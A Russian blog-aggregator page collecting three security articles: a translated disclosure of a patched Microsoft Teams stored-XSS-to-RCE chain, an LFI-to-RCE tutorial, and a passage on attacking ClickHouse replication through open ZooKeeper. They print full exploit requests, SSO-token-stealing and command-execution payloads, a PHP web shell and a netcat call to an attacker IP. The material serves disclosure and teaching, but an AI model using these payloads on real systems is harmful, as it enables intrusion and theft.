Русский
Русский
English
Статистика
Реклама

Rce

Перевод Мы нашли опасную уязвимость в Microsoft Teams, но компания устранила её только спустя два месяца

10.12.2020 10:23:48 | Автор: admin

TL;DR:

  • 31 августа 2020 года мы сообщили о критически опасных багах исполнения удалённого кода в Microsoft Teams.
  • 30 сентября 2020 года Microsoft присвоила им рейтинг Important, Spoofing (Важно, спуфинг) один из наиболее низких.
  • В нашей команде мгновенно родилась новая шутка.
  • Microsoft отказалась подробно обсуждать воздействие этих багов, окончательное решение принято 19 ноября 2020 года
  • Что касается CVE, в настоящее время политика Microsoft заключается в том, чтобы не публиковать CVE продуктов, автоматически обновляемых без действий пользователя, 30 ноября 2020 года
  • Баги устранены к концу октября 2020 года

Рейтинг Microsoft Security Response Center Important, Spoofing


Microsoft приняла эту цепочку багов в баунти-программу облачных багов O365 как Important (уровень серьёзности), Spoofing (воздействие). Это один из самых низких рейтингов.

По крайней мере, теперь в нашем коллективе появилась новая шутка когда мы находим баг исполнения удалённого кода (remote code execution, RCE), мы называем его Important, Spoofing. Спасибо, Microsoft!

Если быть полностью честными, то для десктопного приложения был присвоен отдельный рейтинг Critical, Remote Code Execution, но только за очки Microsoft! Очки Microsoft позволяют вам попасть в таблицу лидеров MSRC.

В этой статье мы расскажем об одном из пяти переданных в MSRC цепочек багов исполнения удалённого кода Microsoft Teams, требующих одного нажатия или не требующих нажатий вообще (Important, Spoofing).

Благодарим Оскарса Вегериса.

Воздействие бага исполнение удалённого кода, не требующее действий пользователя


  • Нападающий отправляет или редактирует уже имеющееся сообщение, которое выглядит для жертвы совершенно обычным.
  • Жертва исполняет код, просто просмотрев сообщение.

Вот и всё. Со стороны жертвы больше не требуется никакого вмешательства. Теперь внутренняя сеть вашей компании, личные документы, документы/почта/заметки O365, секретные чаты полностью скомпрометированы. Подумайте об этом. Одно сообщение, один канал, никакого взаимодействия. Все подвергаются эксплойту.

Объясним немного подробнее. Что если получатели затем автоматически опубликуют это сообщение в своих командах и каналах? Эксплойт распространяется на всех. Вы знали, что можете быть гостем в других организациях? Вероятно, в вашей организации есть несколько гостей. С большой вероятностью они находятся в собственных организациях, и эти организации, вероятно, имеют собственных гостей, у которых есть свои организации, которые Да, этот баг можно превратить в червя, распространяемого по сети Microsoft Teams, по крайней мере, в пределах организации.

Демонстрация бага довольно скучна достаточно просто единственного неинтерактивного HTTP-запроса.


Получив рейтинг Important, Spoofing, в качестве аргументации для сотрудников MSRC я отправил список пунктов, которые посчитал реальным воздействием бага. Обсуждение было почти несущественным, они просто перетасовывали рейтинги. На каждый ответ требовались недели, и каждый раз мне приходилось напоминать о себе.

Примерно спустя три месяца мы пришли к следующему: к рейтингу Important, Spoofing и к тому, что десктопный клиент (исполнение удалённого кода) находится вне области воздействия (out of scope).

Конечно, Microsoft может вывести из области воздействия бага десктопное приложение, что, по моему мнению, абсурдно, поскольку оно рекламируется как основной способ работы с Microsoft Teams но почему это всего лишь Важно и что такое спуфинг?

Important, Spoofing по пунктам


  • Атака Stored XSS, не требующая вмешательства пользователя. Влияет на все типы потоков сообщений приватные, потоки, группы и т.д.
  • Самовоспроизводящийся червь жертва репостит полезную нагрузку всем контактам и группам. Все репостят своим контактам, группам (гости тоже имеют доступ к организациям, а также доступ к собственным организациям, и т.д.)
  • Кража токенов SSO для всех пользователей организации из XSS, например, при захвате аккаунта, вы получаете доступ ко всем токенам SSO Office 365, то есть доступ ко всей почте, документам, заметкам компании всему, что есть в O365
  • Доступ к частным перепискам, сообщениям, файлам, логам вызовов и всему остальному, что есть в MS Teams
  • Повышение полномочий до уровня организации MS Teams Admin
  • Доступ к микрофону/камере с помощью XSS (насколько я знаю, по крайней мере, в веб-версиях для Chrome)
  • Кроссплатформенное (macOS, Windows, Linux) исполнение произвольных команд на устройствах жертвы, не требующее участия жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Кейлоггинг, доступ к микрофону, камере и т.д.

Вы когда-нибудь задавались вопросом, как MS Teams способна беспроблемно получать доступ ко всему в вашем O365? Нападающие таким вопросом не задаются они делают это так же, как это делает Teams.

Что вошло в отчёт


  • Обход защиты от инъекций выражений AngularJS
  • Выход из песочницы AngularJS для исполнения произвольного кода JS
  • Обход CSP (с помощью AngularJS)
  • Злоумышленное использование API Microsoft Teams для скачивания и исполнения файла с целью реализации RCE
  • Дополнительная универсальная полезная нагрузка Electron [вырезано] для RCE, которая включена во вложения к отчёту в формате видео/медиа
  • Обе полезные нагрузки RCE позволяют обойти защиту приложений Electron, специфичную для Microsoft Teams, однако, вероятно, их можно универсально адаптировать к более старым версиям ElectronJS с похожими защитными ограничениями.

Защита ElectronJS в MS Teams: remote-require отключено и фильтруется, nodeIntegration равно false, создание webview фильтруется и в обычном состоянии удаляет небезопасные параметры/опции. Невозможно просто импортировать child_process и исполнить произвольный код или создать webview с собственной опцией preload.

Демо и RCE


Полезная нагрузка [вырезано], невидимая для жертвы (новое окно не открывается)



Ну да, инъецируемая шаблонная строка видна на долю секунды, но в обычной ситуации пользователь её не увидит. Об этом свидетельствует следующее демо и все остальные шаблонные строки AngularJS, которые вы не видите в Teams. Я связываю этот глитч с HTTP-прокси, общей медленностью приложения, живой перезагрузкой и тем, что это демо, а значит, оно просто обязано иметь ошибки :)

// по требованию Microsoft полезная нагрузка RCE, не создающая новых окон, засекречена примерно до 2021 года

Полезная нагрузка с новым окном



Пустое окно может содержать произвольный контент, иметь любой размер и внешний вид сейчас оно подозрительно пустое, потому что это проверка концепции.

Исходный файл MOV находится здесь.

Никакого вмешательства пользователя не требуется, эксплойт исполняется при просмотре сообщения чата. Этот эксплойт обходит ограничения webview и злонамеренно использует API MS Teams для скачивания файла и применения его в качестве preload (контекст nodeJS) для webview. Teams фильтрует создание webview, отфильтровывая preload и другие опасные опции, но при таком способе проверку можно обойти. Вероятно, такой же подход можно использовать в более старых приложениях ElectronJS.

cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to downloadthis.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payloadthis.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {         f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand                // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window    })

Ниже показан исходный отчёт о баге, переданный в MSRC


Сводка


В десктопном приложении MS Teams была обнаружена уязвимость Remote Code Execution, которую можно запустить новой инъекцией XSS (Cross-Site Scripting) в teams.microsoft.com. Любому участнику или каналу Microsoft Teams можно отправить специально изготовленное сообщение чата, которое исполнит произвольный код на компьютере пользователя БЕЗ ЕГО УЧАСТИЯ.

Удалось реализовать Remote Code Execution в десктопных приложениях на всех поддерживаемых платформах (Windows, macOS, Linux). Исполнение кода предоставляет нападающим полный доступ к устройствам жертвы, а через эти устройства и к внутренним сетям компании.

Даже без исполнения произвольного кода в устройстве пользователя при помощи продемонстрированного XSS нападающий может получить токены авторизации SSO для Microsoft Teams и других сервисов Microsoft (например, Skype, Outlook, Office365). Более того, уязвимость к XSS сама по себе позволяет обеспечить доступ к конфиденциальным/приватным перепискам, файлам и т.д. из MS Teams.

Такие атаки могут выполняться гостевыми пользователями совершенно незаметно, без каких-либо действий пользователя или признаков компрометации.

Продукты, подверженные воздействию этого бага:

  • Microsoft Teams (teams.microsoft.com) Cross-Site Scripting
  • Microsoft Teams macOS v 1.3.00.23764 (последняя на 31.08.2020 версия)
  • Microsoft Teams Windows v 1.3.00.21759 (последняя на 31.08.2020 версия)
  • Microsoft Teams Linux v 1.3.00.16851 (последняя на 31.08.2020 версия)

Воздействие


  • Распространение по типу червя (wormable) возможность автоматического репоста полезной нагрузки эксплойта в другие компании, каналы и пользователям без действий с их стороны
  • Исполнение произвольных команд в устройствах жертвы без действий со стороны жертвы
  • Полная утеря конфиденциальности и неприкосновенности для конечных пользователей доступ к приватным чатам, файлам, внутренней сети, приватным ключам и личным данным вне MS Teams
  • Доступ к токенам SSO, а значит, и к другим сервисам Microsoft (Outlook, Office365 и т.д.)
  • Возможные фишинг-атаки перенаправлением на сайт нападающих или запросом ввода учётных данных SSO
  • Кейлоггинг при помощи специально созданной полезной нагрузки

Описание


Данный отчёт содержит новый вектор XSS и новую полезную нагрузку RCE, которые используются совместно. Они влияют на систему чатов в Microsoft Teams и могут использоваться, например, в личных сообщениях и каналах.

Для реализации RCE в Microsoft Teams используется цепочка из двух уязвимостей:

  • Stored XSS в чате teams.microsoft.com в функции упоминания пользователя
  • Новый кроссплатформенный специально созданный JS-эксплойт для десктопных клиентов MS Teams

Stored XSS в teams.microsoft.com


Как воспроизвести


  1. Ввести сообщение чата в личном общении или в канале, упомянув пользователя или тэг этого чата
  2. Отредактировать сообщение чата, содержащее упоминание, и выполнить перехват при помощи HTTP-прокси наподобие Burp Suite

В функции упоминаний уязвимым параметром является displayName в структуре JSON сообщения { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]".

Запрос должен выглядеть примерно так, обратите внимание на displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: skypetoken=...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot\"}]"}}

Фильтрацию выражений Angular можно обойти инъекцией символа нулевого байта в Unicode \u0000, например:

{{3*333}\u0000}

Для получения доступа пользователя к локальному хранилищу и всем токенам SSO использовать эту полезную нагрузку в displayName из приведённого выше HTTP-запроса PUT.

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос для логгинга токена SSO:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: skypetoken=...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Этот запрос выполнит логгинг локального хранилища пользователя как доказательство концепции XSS.

Никаких других действий не требуется. Все пользователи в чате начнут выполнять логгинг своих токенов SSO, которые можно извлечь.

Можно проверить это, изучив инструменты разработчика или в десктопной версии Microsoft Teams, или в любом браузере.

Исполнение удалённого кода и полезная нагрузка


Была разработана новая полезная нагрузка исполнения удалённого кода, обходящая все ограничения, реализованные на данный момент (remote require, node integration, фильтрация webview preload и т.д.) в десктопной версии Microsoft Teams. Она должна работать, даже при включении contextIsolation.

cmd = `open /Applications/Calculator.app` // change to windows/linux command as requiredstage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to downloadthis.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file// implement an event handler when files downloaded to trigger payloadthis.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {         f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand                // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window    })

Укороченная версия для HTTP-запроса PUT; улучшена тем, что исполняется только один раз на reload:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}

Полный HTTP-запрос с полезной нагрузкой RCE:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1Host: emea.ng.msg.teams.microsoft.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0Accept: jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonAuthentication: ...snip...ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00BehaviorOverride: redirectAs404Content-Length: 1174{"content":"<div><div>\n<div>\n<div>\n<div>\n<div><span itemscope itemtype=\"http://schema.skype.com/Mention\" itemid=\"0\">dada</span></div>\n</div>\n</div>\n</div>\n</div>\n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{\"@type\":\"http://schema.skype.com/Mention\",\"itemid\":0,\"tagId\":\"tHab2TLzpa\",\"mri\":\"tHab2TLzpa\",\"mentionType\":\"tag\",\"displayName\":\"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\\\"child_process\\\");cp.exec(\\\"open /System/Applications/Calculator.app\\\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\\\"about:blank\\\" preload=\\\"file:///${f}\\\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}\u0000}\"}]"}}

Примечание: следует изменить команду, в коде указана команда для macOS Catalina open /System/Applications/Calculator.app.

Действий пользователя не требуется, простое посещение чата приведёт к исполнению произвольного кода.

Вспомогательные материалы/ссылки:


[1] Видеодемо, скриншоты

[2] https://www.electronjs.org/docs/tutorial/security

Информация SSO / cookie


Список идентификаторов токенов SSO в localStorage и параметры cookie, доступные из JavaScript в Microsoft Teams


Токены SSO:

adal.nonce.idtokents.09ccd856-c12e-4228-acf6-a19af826be77.auth.skype.tokents.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.4580fd1d-e5a3-4f56-9ad1-aab0e3bf8f76ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.cf53fce8-def6-4aeb-8d30-b158e7b1cf83ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://*.microsoftstream.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://api.spaces.skype.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://chatsvcagg.teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://emea.presence.teams.microsoft.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://forms.office.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://loki.delve.office.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://management.core.windows.net/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://onenote.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com/connectorsts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://presence.teams.microsoft.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://service.powerapps.com/ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://uis.teams.microsoft.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://web.microsoftstream.comts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://whiteboard.microsoft.com

Потенциально уязвимые cookies, доступные из JavaScript:

sessionIdTSAUTHCOOKIESSOAUTHCOOKIE




На правах рекламы


Эпичные серверы это VPS для любых задач. Вы можете создать собственный тарифный план, максимальная конфигурация 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe!

Подробнее..

Безопасность веб из LFI в RCE

16.12.2020 18:10:53 | Автор: admin


Local File Inclusion (LFI) это возможность использования локальных файлов сервера. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе потенциально содержащим конфиденциальную информацию. Сегодня расскажем, как атакующий, используя этот недостаток, может выполнять команды на удаленном сервере.

Возникает подобная уязвимость в том случае, если при реализации веб-приложения используются небезопасные функции, например, include, позволяющие включать контент на страницу из локального файла. В нашем случае это выглядит следующим образом:



Благодаря строчке include($file) в содержимое страницы будет включаться значение GET-параметра file. Теперь, используя эту уязвимость, нам будут возвращаться локальные файлы, которые мы укажем в параметре.



Статья носит информационный характер. Не нарушайте законодательство.

Обнаружение уязвимости


Как обнаружить уязвимость? Если указать в потенциально уязвимом параметре включение какого-то локального файла, например, index с любым расширением, и этот файл откроется, то однозначно можно утверждать, что параметр отвечает за подкачку файла. Сделать это можно как вручную, так и с помощью различных автоматизированных инструментов, например, сканером уязвимостей Wapiti, о котором говорилось в одной из наших статей, или специализированным инструментом LFISuite, который разработан именно под поиск и эксплуатацию LFI-уязвимостей.





Какие здесь могут быть подводные камни? Например, наличие фильтрации, которая будет подставлять в окончание строки расширение файла, например, .php. Таким образом, при попытке включения в страницу файла /etc/passwd мы получим в адресной строке file=/etc/passwd.php, а содержимое этого файла не будет отображаться на странице, так как файла не существует. Но такой фильтр можно обойти с помощью так называемого нулевого байта, который будет отсекать все, что будет идти после него. Дело в том, что вся адресная строка при передаче HTTP-запроса кодируется в URL-encode, и в этой кодировке нулевой байт выглядит как %00. Таким образом, строчка /etc/passwd%00.php будет преобразована в /etc/passwd. Однако стоит отметить, что данная проблема является довольно известной и исправлена в версии PHP 5.3+

Другой вариант обхода фильтрации использование php filter. В параметре, отвечающем за включение файлов, пишем не просто путь до файла, который мы хотим включить, а путь до файла с использованием этой функции. Теперь запрос, который мы будем отправлять, имеет вид:

http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd




И теперь на странице браузера мы увидим не содержимое файла, а его исходник в кодировке base64, который можно декодировать:





С основными моментами уязвимости LFI разобрались, и теперь понимаем, что при ее эксплуатации можно прочитать локальный файл на удаленном сервере. Но у LFI есть интересная особенность, позволяющая не просто прочитать локальные файлы, а скомпрометировать сервер.

Отравление журнала веб-сервера


Думаю, стоит сразу оговориться, что уязвимость не новая, но тем не менее она до сих встречается и может представлять серьезную угрозу для безопасности веб-сервера. При взаимодействии с веб-приложением любой наш запрос записывается в журналы веб-сервера, как правило, это файлы /var/log/nginx/access.log или /var/log/nginx/error.log если, например, используется веб-сервер Nginx, но названия конечных файлов, разумеется, могут отличаться.



Теперь, составив специальный запрос, мы создадим веб-шелл на сервере, записав его в access.log. Для отправки запроса будем использовать инструмент Burp Suite, позволяющий в режиме реального времени перехватывать и редактировать запросы.



Наш веб-шелл <?php system($_GET[cmd]); ?> записан в журнале веб-сервера и готов к использованию.



Почему использовался именно параметр User-Agent? Как уже говорилось ранее, адресная строка кодирует информацию с помощью URL-encode, поэтому для передачи php-кода нужно использовать заголовки, а так как в access.log точно пишется User-Agent, то и используем его. Обратившись к нашему веб-шеллу, получаем возможность выполнять различные команды через параметр cmd:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /




В чем отличие? LFI позволяет включать файл на сервере, но необходимо указать полный путь до этого файла, то есть знать, где этот файл находится. Во втором случае выполняется команда на самом сервере, а результат отображается в веб-приложении.

Убедившись, что мы можем выполнять различные команды на сервере, переходим к получению доступа на него. Для этого указываем в параметре cmd команду запуска Netcat для связи с сервером атакующего, то есть с нами:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455




Рекомендации


  • регулярно проверять безопасность веб-приложения с целью предотвращения возникновения уязвимостей;
  • добавить в журнал веб-сервера строчку <?php exit(1); ?>. Данный скрипт будет предотвращать любые попытки выполнения php-кода в этом файле (не самая лучшая идея, но это работает);

  • использовать WAF, который будет блокировать вредоносный запрос, не позволяя его выполнить на веб-сервере.
Подробнее..

Перевод Зачем нужно держать клетки в зоопарке закрытыми

06.08.2020 16:13:59 | Автор: admin


В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.


ClickHouse это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.


Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.


Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.


При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK для них узлы создаются в листе /clickhouse/task_queue/ddl.


Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:


version: 1query: DROP TABLE xxx ON CLUSTER test;hosts: ['host1:9000', 'host2:9000']

а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.


Звучит страшно? Но где же атакующий сможет получить адреса серверов?


Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX имя реплики, foobar имя таблицы):


CREATE TABLE foobar(    `action_id` UInt32 DEFAULT toUInt32(0),    `status` String)ENGINE=ReplicatedMergeTree('/clickhouse/tables/01-01/foobar/', 'chXX')ORDER BY action_id;

будут созданы узлы columns и metadata.


Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:


host: chXX-addressport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?


Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.


Содержимое /clickhouse/tables/0101/foobar/replicas/attacker/host:


host: attacker.comport: 9009tcp_port: 9000database: defaulttable: foobarscheme: http

Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):


format version: 4create_time: 2019-07-31 09:37:42source replica: attackerblock_id: all_7192349136365807998_13893666115934954449getall_0_0_2

где source_replica имя реплики атакующего, созданной на предыдущем шаге, block_id идентификатор блока данных, get команда "get block" (а [тут команды для других операций](
)).


Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:


POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1Host: attacker.comAuthorization: XXX

где XXX и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.


Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.


https://miro.medium.com/max/700/1*92PefViWivYUEYFVhc1NMQ.png
код обработки репликации


Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.


Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):


flags каталог для записи флагов, используемых при восстановлении после потери данных;
tmp каталог хранения временных файлов;
user_files операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata файлы sql с описаниями таблиц;
preprocessed_configs обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).


Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:


action_id.binaction_id.mrk2checksums.txtcolumns.txtcount.txtprimary.idxstatus.binstatus.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.


Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):


\x01\x00\x00\x00\x00\x00\x00\x00\x24../../../../../../../../../tmp/pwned\x12\x00\x00\x00\x00\x00\x00\x00hellofromzookeeper

а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.


Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).


Внешние словари в RCE


В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.


ODBC в RCE


При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).


ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?


Давайте создадим файл ~/.odbc.ini с таким содержимым:


